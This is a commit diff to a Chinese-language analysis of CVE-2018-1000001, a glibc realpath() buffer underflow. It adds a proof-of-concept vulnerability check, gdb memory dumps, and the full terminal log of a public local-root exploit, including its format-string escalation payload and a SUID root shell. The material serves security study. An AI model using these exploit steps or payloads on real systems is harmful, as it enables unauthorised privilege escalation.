This commit is contained in:
firmianay 2018-02-09 14:53:39 +08:00
parent ee9d0f0c56
commit 7cea3e7a22
2 changed files with 124 additions and 27 deletions

View File

@ -20,35 +20,73 @@
| 调试器 | gdb-peda| 版本号7.11.1 |
| 漏洞软件 | glibc | 版本号2.23-0ubuntu9 |
漏洞发现者已经公开了漏洞利用代码,需要注意的是其所支持的系统被硬编码进了利用代码中,可看情况进行修改。[exp](https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/RationalLove.c)
```c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void main() {
//char *path;
struct {
char canary[16];
char buffer[80];
} buf;
memset(buf.canary, 47, 1); // put a '/' before the buffer
memset(buf.buffer, 48, sizeof(buf.buffer));
//path = getcwd(NULL, 0);
//puts(path);
chroot("/tmp");
//path = getcwd(NULL, 0);
//puts(path);
realpath("../../../../BBBB", buf.buffer);
if (!strcmp(buf.canary, "/BBBB")) {
puts("Vulnerable");
} else {
puts("Not vulnerable");
}
}
```
$ gcc -g exp.c
$ id
uid=999(ubuntu) gid=999(ubuntu) groups=999(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$ ls -l a.out
-rwxrwxr-x 1 ubuntu ubuntu 44152 Feb 1 03:28 a.out
$ ./a.out
./a.out: setting up environment ...
Detected OS version: "16.04.3 LTS (Xenial Xerus)"
./a.out: using umount at "/bin/umount".
No pid supplied via command line, trying to create a namespace
CAVEAT: /proc/sys/kernel/unprivileged_userns_clone must be 1 on systems with USERNS protection.
Namespaced filesystem created with pid 7429
Attempting to gain root, try 1 of 10 ...
Starting subprocess
Stack content received, calculating next phase
Found source address location 0x7ffc3f7bb168 pointing to target address 0x7ffc3f7bb238 with value 0x7ffc3f7bd23f, libc offset is 0x7ffc3f7bb158
Changing return address from 0x7f24986c4830 to 0x7f2498763e00, 0x7f2498770a20
Using escalation string %69$hn%73$hn%1$2592.2592s%70$hn%1$13280.13280s%66$hn%1$16676.16676s%68$hn%72$hn%1$6482.6482s%67$hn%1$1.1s%71$hn%1$26505.26505s%1$45382.45382s%1$s%1$s%65$hn%1$s%1$s%1$s%1$s%1$s%1$s%1$186.186s%39$hn-%35$lx-%39$lx-%64$lx-%65$lx-%66$lx-%67$lx-%68$lx-%69$lx-%70$lx-%71$lx-%78$s
Executable now root-owned
Cleanup completed, re-invoking binary
/proc/self/exe: invoked as SUID, invoking shell ...
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),999(ubuntu)
# ls -l a.out
-rwsr-xr-x 1 root root 44152 Feb 1 03:28 a.out
```
过程是先利用漏洞将可执行程序自己变成一个 SUID 程序,然后执行该程序即可从普通用户提权到 root 用户。
# gcc -g poc.c
# ./a.out
Vulnerable
```
执行 `realpath()` 前:
```
gdb-peda$ x/g buf.canary
0x7fffffffe4d0: 0x000000000000002f
gdb-peda$ x/15gx 0x7fffffffe4d0
0x7fffffffe4d0: 0x000000000000002f 0x00000000000000c2 <-- canary
0x7fffffffe4e0: 0x3030303030303030 0x3030303030303030 <-- buffer
0x7fffffffe4f0: 0x3030303030303030 0x3030303030303030
0x7fffffffe500: 0x3030303030303030 0x3030303030303030
0x7fffffffe510: 0x3030303030303030 0x3030303030303030
0x7fffffffe520: 0x3030303030303030 0x3030303030303030
0x7fffffffe530: 0x00007fffffffe620 0x13ca8a6b7215a800
0x7fffffffe540: 0x0000000000000000
```
执行 `realpath()` 后:
```
gdb-peda$ x/15gx 0x7fffffffe4d0
0x7fffffffe4d0: 0x000000424242422f 0x00000000000000c2 <-- canary
0x7fffffffe4e0: 0x68636165726e7528 0x6f682f29656c6261 <-- buffer
0x7fffffffe4f0: 0x746e7562752f656d 0x6f64666c61682f75
0x7fffffffe500: 0x3030303030300067 0x3030303030303030
0x7fffffffe510: 0x3030303030303030 0x3030303030303030
0x7fffffffe520: 0x3030303030303030 0x3030303030303030
0x7fffffffe530: 0x00007fffffffe620 0x13ca8a6b7215a800
0x7fffffffe540: 0x0000000000000000
gdb-peda$ x/s 0x7fffffffe4d0
0x7fffffffe4d0: "/BBBB"
gdb-peda$ x/s 0x7fffffffe4e0
0x7fffffffe4e0: "(unreachable)/home/ubuntu/halfdog"
```
正常情况下,字符串 `\BBBB` 应该只能在 buffer 范围内进程操作,而这里它被复制到了 canary 里,也就是发生了下溢出。
## 漏洞分析
@ -682,6 +720,36 @@ char *canonicalize_path_restricted(const char *path)
被调用的程序文件中包含一个 shebang即"#!"),使系统调用了漏洞利用程序作为它的解释器。然后该漏洞利用程序修改了它的所有者和权限,使其变成一个 SUID 程序。当 umount 最初的调用者发现文件的权限发生了变化,它会做一定的清理并调用 SUID 二进制文件的辅助功能,即一个 SUID shell完成提权。
Bingo!!!(需要注意的是其所支持的系统被硬编码进了利用代码中,可看情况进行修改。[exp](https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/RationalLove.c)
```
$ gcc -g exp.c
$ id
uid=999(ubuntu) gid=999(ubuntu) groups=999(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$ ls -l a.out
-rwxrwxr-x 1 ubuntu ubuntu 44152 Feb 1 03:28 a.out
$ ./a.out
./a.out: setting up environment ...
Detected OS version: "16.04.3 LTS (Xenial Xerus)"
./a.out: using umount at "/bin/umount".
No pid supplied via command line, trying to create a namespace
CAVEAT: /proc/sys/kernel/unprivileged_userns_clone must be 1 on systems with USERNS protection.
Namespaced filesystem created with pid 7429
Attempting to gain root, try 1 of 10 ...
Starting subprocess
Stack content received, calculating next phase
Found source address location 0x7ffc3f7bb168 pointing to target address 0x7ffc3f7bb238 with value 0x7ffc3f7bd23f, libc offset is 0x7ffc3f7bb158
Changing return address from 0x7f24986c4830 to 0x7f2498763e00, 0x7f2498770a20
Using escalation string %69$hn%73$hn%1$2592.2592s%70$hn%1$13280.13280s%66$hn%1$16676.16676s%68$hn%72$hn%1$6482.6482s%67$hn%1$1.1s%71$hn%1$26505.26505s%1$45382.45382s%1$s%1$s%65$hn%1$s%1$s%1$s%1$s%1$s%1$s%1$186.186s%39$hn-%35$lx-%39$lx-%64$lx-%65$lx-%66$lx-%67$lx-%68$lx-%69$lx-%70$lx-%71$lx-%78$s
Executable now root-owned
Cleanup completed, re-invoking binary
/proc/self/exe: invoked as SUID, invoking shell ...
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),999(ubuntu)
# ls -l a.out
-rwsr-xr-x 1 root root 44152 Feb 1 03:28 a.out
```
## 参考资料
- [LibcRealpathBufferUnderflow](https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/)
- https://github.com/5H311-1NJ3C706/local-root-exploits/tree/master/linux/CVE-2018-1000001

View File

@ -0,0 +1,29 @@
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void main() {
char *path;
struct {
char canary[16];
char buffer[80];
} buf;
memset(buf.canary, 47, 1); // put a '/' before the buffer
memset(buf.buffer, 48, sizeof(buf.buffer));
//path = getcwd(NULL, 0);
//puts(path);
chroot("/tmp");
//path = getcwd(NULL, 0);
//puts(path);
realpath("../../../../BBBB", buf.buffer);
if (!strcmp(buf.canary, "/BBBB")) {
puts("Vulnerable");
} else {
puts("Not vulnerable");
}
}